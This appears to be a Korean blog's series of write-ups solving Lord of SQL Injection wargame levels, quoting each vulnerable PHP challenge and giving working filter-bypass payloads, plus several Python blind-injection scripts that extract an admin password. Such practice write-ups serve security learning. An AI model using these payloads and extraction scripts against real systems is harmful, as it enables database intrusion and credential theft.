<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)|#|-/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(strlen($_GET[pw])>6) exit("No Hack ~_~"); 
  $query = "select id from prob_nightmare where pw=('{$_GET[pw]}') and id!='admin'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) solve("nightmare"); 
  highlight_file(__FILE__); 
?>


이름이 좀 무시무시한데

6자리 안되게해서 패스워드를 따내야 된단다
처음엔
pw=\%20||1in1-- 이런식으로 해서 점프하려했는데 잘보니까 주석이 될만한건 다 막혀있고 id에도 입력을 못한다. 그니까 즉.. 뒤의 id!='admin'도 써먹어야 한다.
고민좀하고 있는데 진짜 허망하게 힌트를 받았다

[22.06.17 01:59] 나이트메어인가 할차롄데
[22.06.17 01:59] 나이트메어가
[22.06.17 01:59] 오토 타입캐스트 쓰는거였던가
[22.06.17 02:03] 헐
[22.06.17 02:03] ㅎㄹ...

가끔은 어이없게 힌트를 얻기도 한다.

select id from prob_nightmare where pw=('')=0;') and id!='admin'


정답부터 적고 얘기하면 mysql 에서 문자열은 0이 되는데 0으로 매칭하면 참이 된다
이렇게도 할 수 있다

select id from prob_nightmare where pw=(''=1);') and id!='admin'


정답이 admin 을 선택하는게 아니고 단순히 아이디만 나오면 되는 것이기 때문에 쿼리를 어떻게 구성하던 상관없다.
여기서 이해해야할 것은 ''가 반환하는 값이 0이라는 것이다. (auto type cast)
그리고 뒤에 꼭 ;%00 를 붙여줘야 하는데 이게 바로 주석을 만드는 것이다. 주석은 # 이나 -- 밖에 없지 않냐.. 맞는데 여기서도 또 하나배운게,
mysql은 쿼리를 읽을떄 null을 만나면 멈춘다. 그러니까 여기서는 글자수도 맞추면서, 쿼리를 강제 중단 시키는 역할로 수행된다.

우회에 우회. 6글자! (7글자지만)

2017/06/21 13:18 2017/06/21 13:18
<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[id])) exit("HeHe"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) solve("succubus"); 
  highlight_file(__FILE__); 
?>


이젠 제대로 ' 를 필터링한다. 이건 감이 안와서 검색을 좀 해봤는데 답은 quote를 강제로 esacpe 시키는것이다
그러니까 이미 escape 된 \' 이라고 거짓말을 치는건데..

요컨데 앞의 뒤의 id에 들어가는 '를 문자열로 만들어서 quote라고 인식하지 않게 하는 것이다.
그래서 ' 안에 ' 가 들어갈 수 있게 되면 쿼리가 성립한다. 좀 어처구니가 없다

select id from prob_succubus where id='\' and pw=' or 1=1 -- a'
2017/06/21 12:42 2017/06/21 12:42
<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/\\\|prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/\\\|prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(@ereg("'",$_GET[id])) exit("HeHe"); 
  if(@ereg("'",$_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) solve("zombie_assassin"); 
  highlight_file(__FILE__); 
?>


쿼리에서 '를 쓸 수 없는데 '로 둘러쌓인 이 쿼리를 어떻게 파괴할 것 인가?
ereg를 파괴하지 않으면 안된다. ereg가 왜 deprecated가 됐을까? 바로 취약점이 있기 때문이다.

null byte에 대한 검사를 ereg는 수행하질 못한다. 그래서, %00%27 이런식으로만 적어줘도 가볍게 넘을 수 있다

select id from prob_zombie_assassin where id='admin' and pw='' or 1=1 -- a'
2017/06/21 12:33 2017/06/21 12:33
<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_assassin where pw like '{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("assassin"); 
  highlight_file(__FILE__); 
?>


' 를 쓸수 없는데 like 안에 제약이 없으니까 {}% 이런 느낌으로 값을 비교할 수 있다.
그런데 뭐가 admin인지 아닌지를 구별해야되니 그것도 문제다

문자열을 돌려보니 8% 에서 guest가 나왔다. 그러니까 guest의 비밀번호는 8로 시작한다는건데..
이건 어차피 전체 문자열을 찾을 필요가 없다고 생각했다.

풀 스트링으로 다 돌렸는데 guest 만 나왔으니, admin의 비밀번호도 8로 시작하는데 row 경쟁에서 guest가 위이기 떄문일 것이다.
고로 한번 더 작업을 하니 역시 풀스트링인데도 guest만 나왔다. 83까지 획득.

다시 돌리니 832에서 admin이 나왔다. 여기가 분기. 고로 832% 라고 답을 입력하면 해결된다.
너무 간단한 문제라서 따로 루프 없이 손으로 돌리고 중지하고 그랬다. 코드 생략..
2017/06/20 16:26 2017/06/20 16:26
<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(strlen($_GET[shit])>1) exit("No Hack ~_~"); 
  if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe"); 
  $query = "select 1234 from{$_GET[shit]}prob_giant where 1"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result[1234]) solve("giant"); 
  highlight_file(__FILE__); 
?>


아주 간단한 문젠데 숨이 턱 막힌다. 띄어쓰기만 하면 되는데 띄어쓰기를 못한다.
무작정 urlencode hardware에 들어가서 하나씩 입력해보았는데 (와중에 %5CR 뭐 이런 이상한거도 찾았는데 도움은 안된다. 한글자로 출력되지 않기 때문에)

몇개 입력안했는데 그냥 bypass되었다. 깨진 문자열은 그냥 pass되는건가..? 나는 %0B를 입력했다

select 1234 fromprob_giant where 1
2017/06/20 16:12 2017/06/20 16:12
<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); 
  highlight_file(__FILE__); 
?>


대충만 봐도 강적이다. 전사 공격문제로 생각되는데 내가 주로 쓰는 거의 대부분이 차단되어 있다
이번에도 no에는 quotes가 없으니까 no로 쿼리를 만들어봐야한다. 띄어쓰기도 안되고 '도 안될땐 ` 를 쓴다. back quote 라고 하는데
이런식으로 구성하면 된다.

select id from prob_bugbear where id='guest' and pw='' and no=1||`id`in("admin")


이러면 띄어쓰기도 없이 쿼리를 true로 만들 수 있다. like대신엔 in을 쓰고 ' 대신엔 " 를 쓰자

#!/usr/bin/env python
# -*- coding: utf8 -*-
   
import requests
  
headers = {'Host': 'los.eagle-jump.org', 'Cookie': 'PHPSESSID=;'}
url = "http://los.eagle-jump.org/bugbear_.php"
string = "1234567890abcdefghijklmnopqrstuvwxyz"
  
loop = 0
pw = ''
  
for j in range(1,30):
    data = "1||`id`in(\"admin\")&&length(`pw`)in(\"{}\")".format(j)
    data = requests.utils.quote(data)
    r = requests.get(url+'?no='+data,headers=headers)
    
    if r.text.find('Hello admin') != -1 :
        loop = j
        break

print loop

for i in range(1,loop+1):
    for j in string:
        data = "1||`id`in(\"admin\")&&right(left(`pw`,{}),1)in(\"{}\")".format(i,j)
        data = requests.utils.quote(data)
        r = requests.get(url+'?no='+data,headers=headers)
  
        if r.text.find('Hello admin') != -1 :
            pw = pw + j
            print "[!] found",pw
            break
   
print pw


띄어쓰기를 못하는 문제는 가끔 답답하다
2017/06/20 16:04 2017/06/20 16:04
<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); 
  highlight_file(__FILE__); 
?>


pw에는 '가 차단되어있고
no에는 substr, ascii, = 가 차단되어있다
잘 보면 no에는 따옴표가 없다. 저기에 쿼리를 꾸겨넣을 수 있을 것 같다.

이런식으로 쿼리를 꾸민다.

select id from prob_darkknight where id='guest' and pw='' and no=1 or 1 like 1 and id like 0x61646d696e


잘 나온다. 하지만 여기선 패스워드를 따로 질의하고 있기때문에 쓸모가 없다. 여기선 admin이라는 단어는 전사 공격할때 옳은 값이 나왔다는 상징으로 사용하는 true로 사용할 것이다. 문제의 의도는 ' 외에 " 를 사용하는거(였을거같은데..) 나는 그냥 hex로 우회했다

#!/usr/bin/env python
# -*- coding: utf8 -*-
   
import requests
  
headers = {'Host': 'los.eagle-jump.org', 'Cookie': 'PHPSESSID=;'}
url = "http://los.eagle-jump.org/darkknight_.php"
string = "1234567890abcdefghijklmnopqrstuvwxyz"
  
loop = 0
pw = ''
  
for j in range(1,30):
    data = "1 || length(pw) like {} && id like 0x61646d696e -- a".format(j)
    data = requests.utils.quote(data)
    r = requests.get(url+'?no='+data,headers=headers)
    
    if r.text.find('Hello admin') != -1 :
        loop = j
        break
 
for i in range(1,loop+1):
    for j in string:
        data = "1 || id like 0x61646d696e && right(left(pw,{}),1) like 0x{} -- a".format(i,j.encode('hex'))
        data = requests.utils.quote(data)
        r = requests.get(url+'?no='+data,headers=headers)
  
        if r.text.find('Hello admin') != -1 :
            pw = pw + j
            print "[!] found",pw
            break
   
print pw


2017/06/20 03:11 2017/06/20 03:11
<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 
  highlight_file(__FILE__); 
?>


or도 안되고 and도 안되고 한글자씩 짤라먹는 substr도 안되고 = 도 안된다.. 그 와중에 blind sqli 를 걸어야한다

그럼 이렇게 우회하자
or -> ||
and -> &&
substr( -> substring(
= -> like

썼던 코드를 계속 재활용해보자 (흡족)

#!/usr/bin/env python
# -*- coding: utf8 -*-
  
import requests
 
headers = {'Host': 'los.eagle-jump.org', 'Cookie': 'PHPSESSID=;'}
url = "http://los.eagle-jump.org/golem_.php"
string = "1234567890abcdefghijklmnopqrstuvwxyz"
 
loop = 0
pw = ''
 
for j in range(1,30):
    data = "' || ( id like 'admin' && length(pw) like {} ) -- a".format(j)
    data = requests.utils.quote(data)

    r = requests.get(url+'?pw='+data,headers=headers)
    if r.text.find('Hello admin') != -1 :
        loop = j
         break

print loop

for i in range(1,loop+1):
    for j in string:
        data = "' || ( id like 'admin' && substring(pw,{},1) like 0x{} ) -- a".format(i,j.encode('hex'))
        data = requests.utils.quote(data)
        r = requests.get(url+'?pw='+data,headers=headers)
 
        if r.text.find('Hello admin') != -1 :
            pw = pw + j
            print "[!] found",pw
            break
  
print pw
2017/06/20 03:01 2017/06/20 03:01
<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id'] == 'admin') solve("skeleton"); 
  highlight_file(__FILE__); 
?>


문제 난이도가 좀 요동치는거 같은데 이 쿼리는 and 1=0 때문에 무조건 false가 나온다
그렇기 때문에 반드시 뒤 쿼리를 주석해줘야된다

select id from prob_skeleton where id='guest' and pw='' or id='admin' -- a' and 1=0
2017/06/20 02:48 2017/06/20 02:48
<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~"); 
  $_GET[id] = str_replace("admin","",$_GET[id]); 
  $query = "select id from prob_vampire where id='{$_GET[id]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id'] == 'admin') solve("vampire"); 
  highlight_file(__FILE__); 
?>


이번에는 admin을 아예 바꿔버린다
그럼 지워지는만큼 admin이 완성되게 넣어주면된다

aadmindadminmadminiadminnadmin
2017/06/20 02:42 2017/06/20 02:42